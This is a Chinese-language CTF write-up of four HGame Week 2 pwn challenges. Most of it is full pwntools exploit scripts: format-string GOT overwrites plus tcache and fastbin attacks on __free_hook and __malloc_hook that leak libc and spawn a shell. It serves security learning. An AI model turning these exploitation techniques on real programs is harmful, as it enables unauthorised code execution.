HGame Week2 PWN WriteUp

Saturday, January 21, 2023
本文共5343字
11分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/hgame-week2-pwn-writeup/。商业转载请联系作者获得授权,非商业转载请注明出处!

I’d rather attempt to do something great and fail than to attempt to do nothing and succeed. — Robert Schuller

上期见这里

YukkuriSay

checksec查看程序架构

文内图片

发现了canary,但是这题溢出不到canary,那么可能可以利用canary其他的漏洞,比如更改__stack_check_fail的got值

ida查看伪C代码

文内图片

函数主体是一个不断向一个没有溢出漏洞的栈空间写入内容(这个内容被用%s打印出来,没有格式化字符串漏洞),然后是一个非栈上格式化字符串漏洞

法一:利用栈上保存的setbuffer函数地址泄露libc后更改__stack_check_fail的got值

文内图片

我们可以利用%s的特点把这个setbuffer+204打印出来,然后就泄露得到了栈地址

然后我们再用同样的方法得到栈地址

文内图片

因为我们第一次写入的内容保存在栈上,所以最后我们可以利用格式化字符串漏洞实现任意地址写,更改__stack_check_fail的got值为one_gadget后,再更改canary触发__stack_check_fail

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = True
fn: str = "./HGame-week2-YukkuriSay"
libc_name: str = "./libc-2.31.so"
port: str = "31110"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名,是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)].ljust(8, b"\x00"))
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...

p =  None

def pwn():
    global p
    if rmt:
        p = remote("week-2.hgame.lwsec.cn", port)
    else:
        if if_debug:
            p = gdb.debug(fn, """
                            b* 0x4016A4
                            c
                            """, env=env)
        else:
            p = process(fn, env=env)
    # 11111111
    # %8$s
    payload = flat([
        b"a"*(0xe0),
        b"b"*8,
    ])
    send_after_clean(payload)
    base_addr = recv_and_transform(b"b"*8) - libc.sym['setbuffer'] - 204
    system_addr = base_addr + libc.sym['system']
    one = [0xe3afe, 0xe3b01, 0xe3b04]
    one_gadget = base_addr + one[1]
    suclog(
        base_addr=base_addr,
        one_gadget=one_gadget,
        system_addr=system_addr
    )
    sendline_after_clean("Y", "anything else?(Y/n)\n")
    
    payload = flat([
        b"a"*(0xf8),
        b"b"*8,
    ])
    send_after_clean(payload)
    stack_addr = recv_and_transform(b"b"*6) - 0x18
    suclog(stack_addr=stack_addr)
    sendline_after_clean("Y", "anything else?(Y/n)\n")
    
    payload = flat([
        m_elf.got['__stack_chk_fail'],
        m_elf.got['__stack_chk_fail'] + 2,
        m_elf.got['__stack_chk_fail'] + 4,
        stack_addr
    ])
    sendline_after_clean(payload)
    sendline_after_clean("n", "anything else?(Y/n)\n")
    write1 = one_gadget & 0xffff
    write2 = ((one_gadget >> (2*8)) & 0xffff)
    write3 = ((one_gadget >> (4*8)) & 0xffff)
    which_write = {write1:8, write2:9, write3:10}
    all_write = [write1, write2, write3]
    all_write.sort()
    payload = ""
    tmp = 0
    for to_write in all_write:
        payload += f"%{to_write-tmp}c%{which_write[to_write]}$hn"
        tmp = to_write
    payload += f"%11$hhn"
    # %43$n
    # payload = f"%{write2}c%8$hn%{write1-write2}c%9$hn%{write3-write1}c%10$hn"
    sendline_after_clean(payload, "a gift for you: \n")

pwn()
interactive_after_clean()

法二:获取栈地址后更改返回地址和printf的got值

我们既然可以更改任意地址的值,同时获得了栈地址,那么我们可以先更改printf的got值为system,再更改返回值,然后返回到主函数某一个位置,printf出/bin/sh,就可以getshell了

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = False
fn: str = "./HGame-week2-YukkuriSay"
libc_name: str = "./libc-2.31.so"
port: str = "31110"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名,是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)].ljust(8, b"\x00"))
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...

p =  None

def pwn():
    global p
    if rmt:
        p = remote("week-2.hgame.lwsec.cn", port)
    else:
        if if_debug:
            p = gdb.debug(fn, """
                            b* 0x4016A4
                            c
                            """, env=env)
        else:
            p = process(fn, env=env)
    # 11111111
    # %8$s
    payload = flat([
        b"a"*(0xe0),
        b"b"*8,
    ])
    send_after_clean(payload)
    base_addr = recv_and_transform(b"b"*8) - libc.sym['setbuffer'] - 204
    system_addr = base_addr + libc.sym['system']
    one = [0xe3afe, 0xe3b01, 0xe3b04]
    one_gadget = base_addr + one[1]
    suclog(
        base_addr=base_addr,
        one_gadget=one_gadget,
        system_addr=system_addr
    )
    sendline_after_clean("Y", "anything else?(Y/n)\n")
    
    payload = flat([
        b"a"*(0xf8),
        b"b"*8,
    ])
    send_after_clean(payload)
    stack_addr = recv_and_transform(b"b"*6) - 0x8
    suclog(stack_addr=stack_addr)
    sendline_after_clean("Y", "anything else?(Y/n)\n")
    
    payload = flat([
        m_elf.got['printf'],
        m_elf.got['printf'] + 2,
        m_elf.got['printf'] + 4,
        stack_addr,
        stack_addr + 2
    ])
    sendline_after_clean(payload)
    sendline_after_clean("n", "anything else?(Y/n)\n")
    return_addr = 0x401671
    write1 = system_addr & 0xffff
    write2 = ((system_addr >> (2*8)) & 0xffff)
    write3 = ((system_addr >> (4*8)) & 0xffff)
    ret1 = return_addr & 0xffff
    ret2 = (return_addr >> (2*8)) & 0xffff
    which_write = {write1:8, write2:9, write3:10, ret1: 11, ret2:12}
    all_write = [write1, write2, write3, ret1, ret2]
    all_write.sort()
    payload = ""
    tmp = 0
    for to_write in all_write:
        payload += f"%{to_write-tmp}c%{which_write[to_write]}$hn"
        tmp = to_write
    # %43$n
    # payload = f"%{write2}c%8$hn%{write1-write2}c%9$hn%{write3-write1}c%10$hn"
    sendline_after_clean(payload, "a gift for you: \n")
    sendline_after_clean(b"/bin/sh\x00")

pwn()
interactive_after_clean()

editable_note

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

这道题不走寻常路,使用内联汇编实现了一个堆菜单题,最终还是通过数字选择这三个功能:

文内图片

大致思路就是先填满tcache bin(7个)后分配到unsorted bin中泄露main_arena,然后将tcache分配到__free_hook上覆盖更改为system

小贴士

在更改tcache中chunk的next位时,一定要确保分配完__free_hook上的chunk后,tcache->counts要大于1

比如:

文内图片

像这种情况,0x20的tcache bin就不会再申请__free_hook的chunk了,而是转而去分割unsorted bin中的chunk

原因是每一个不同大小的tcache,它都独立维护一个counts域,而在malloc的时候会检查这个域,只有当它大于等于0的时候才会执行tcache_get:

文内图片

文内图片

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = False
fn: str = "./HGame-week2-editable_note"
libc_name: str = "./libc-2.31.so"
port: str = "30248"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
    p = remote("week-2.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """, env=env)
    else:
        p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名,是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


def allocate(index:int, size: int) -> None:
    sendline_after_clean(b"1", ">")
    sendline_after_clean(str(index), "Index: ")
    sendline_after_clean(str(size))

def remove(index: int) -> None:
    sendline_after_clean(b"2", ">")
    sendline_after_clean(str(index), "Index: ")
    
def show(index: int):
    sendline_after_clean(b"4", ">")
    sendline_after_clean(str(index), "Index: ")

def change(index: int, content: bytes) -> None:
    sendline_after_clean(b"3", ">")
    sendline_after_clean(str(index), "Index: ")
    sendline_after_clean(content, "Content: ")
        

main_arena_offset = 0x1ECB80

allocate(0, 0x10)
allocate(1, 0x80)
allocate(2, 0x80)
allocate(3, 0x80)
allocate(4, 0x80)
allocate(5, 0x80)
allocate(6, 0x80)
allocate(7, 0x80)
allocate(8, 0x80)
allocate(9, 0x10)

remove(2)
remove(3)
remove(4)
remove(5)
remove(6)
remove(7)
remove(8)
# gdb.attach(p)

remove(1)
show(1)
# gdb.attach(p)
base_addr = recv_and_transform() - main_arena_offset - 96
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = base_addr + one[2]
hook_addr = base_addr + libc.sym['__free_hook']
system_addr = base_addr + libc.sym['system']
suclog(
    "base_addr",
    "one_gadget",
    "hook_addr",
    "system_addr"
)

# remove(8)
payload = pg(hook_addr)*2
change(8, payload)
# gdb.attach(p)
allocate(10, 0x80) 
allocate(11, 0x80) 
# gdb.attach(p)
payload = flat([
    system_addr
])
change(11, payload)
change(10, b"/bin/sh\x00")

remove(10)

interactive_after_clean()

fast_note

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

这道题没有edit函数,同时free后指针没有置零,而且还是一道glibc2.23的题目

那么思路就很清楚了:unsorted bin泄露main_arena后进行fastbin attack

小贴士

这一题向__malloc_hook写入one_gadget并不能get shell,因为几个限制条件都没有满足,我们可以向__malloc_hook写入__libc_realloc+offset,然后在__realloc_hook上写入one_gadget

因为realloc函数中有很多push指令,会改变当前栈的分布,我们可以控制offset来控制栈的更改程度。

根据realloc的代码,我们可以知道offset的可能值为0,2,4,6,12,13,而通常的one_gadget有3~4个(但有一些的限制条件不是栈),所以可能的搭配大约有18~24种,一般来说,一个一个试会快一点,除非调试很简单

更多详见:

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = True
fn: str = "./HGame-week2-fast_note"
libc_name: str = "./libc-2.23.so"
port: str = "31938"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
    p = remote("week-2.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        set resolve-heap-via-heuristic on
                        break main
                        c
                        """, env=env)
    else:
        p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名,是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


def allocate(index:int, size: int, content: bytes) -> None:
    sendline_after_clean(b"1", b">")
    sendline_after_clean(str(index), b"Index: ")
    sendline_after_clean(str(size), b"Size: ")
    sendline_after_clean(content, b"Content: ")

def remove(index: int) -> None:
    sendline_after_clean(b"2", b">")
    sendline_after_clean(str(index), b"Index: ")
    
def show(index: int):
    sendline_after_clean(b"3", b">")
    sendline_after_clean(str(index), b"Index: ")

# def change(index: int, content: bytes) -> None:
#     sendline_after_clean(b"4")
#     sendline_after_clean(str(index))
#     sendline_after_clean(content)

allocate(0, 0x68, "/bin/sh\x00")
allocate(1, 0x68, "/bin/sh\x00")
allocate(2, 0x80, "/bin/sh\x00")
allocate(3, 0x80, "/bin/sh\x00")

remove(2)
# gdb.attach(p)

show(2)
base_addr = recv_and_transform() - 0x3c4b78
system_addr = base_addr + libc.sym['system']
hook_addr = base_addr + libc.sym['__malloc_hook'] - 0x23
realloc_addr = base_addr + libc.sym['__libc_realloc']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = base_addr + one[3]
suclog(
    "base_addr",
    "system_addr",
    "hook_addr"
)

remove(0)
remove(1)
remove(0)

allocate(4, 0x68, pg(hook_addr)*2)
allocate(5, 0x68, "")
# gdb.attach(p)
allocate(6, 0x68, "")

payload = b"\x00"*0xb + pg(one_gadget) + pg(realloc_addr+6)
allocate(7, 0x68, payload)

# gdb.attach(p)
sendline_after_clean(b"1", b">")
sendline_after_clean("8", b"Index: ")
sendline_after_clean("0", b"Size: ")
        
interactive_after_clean()

new_fast_note

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

典型的堆菜单题,这里比较重要的是:

文内图片

虽然表面上限制分配15个chunk,但是它并不检查对应的index是否已有chunk,这导致我们可以分配任意个chunk

再加上free后不置零,我们就可以得到libc基址:

文内图片

那么,我们有两种思路:

  • unsorted bin泄露libc后往tcache bin中填入7个0x10的chunk,进行fastbin double free
  • 泄露libc后直接tcache attack

fast_note中我们已经详细讲过第二种方法了,这里我们使用第一种方法

小贴士

在往tcache bin中填入0x10chunk块的时候,我们需要先分配7个chunk块,这时候,由于unsorted bin中还保留着0x80的堆块一个,所以程序会对其分割

但是0x80的size位为0x90,只能分配成0x90=0x20*3+0x30这四个堆块,因此分配的第四个堆块的大小为0x30

但是这样子第四个chunk释放的时候,就无法进入0x20的tcache bin,而是进入0x30的tcache bin,因此距离tcache bin被填满就刚好差一个

因此,我们需要分配8个chunk而不是7个

可能有点难理解,具体看我代码然后自己调试看下

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = False
fn: str = "./HGame-week2-new_fast_note"
libc_name: str = "./libc-2.31.so"
port: str = "31780"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
    p = remote("week-2.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """, env=env)
    else:
        p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名,是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


def allocate(index:int, size: int, content: bytes) -> None:
    sendline_after_clean(b"1", b">")
    sendline_after_clean(str(index), b"Index: ")
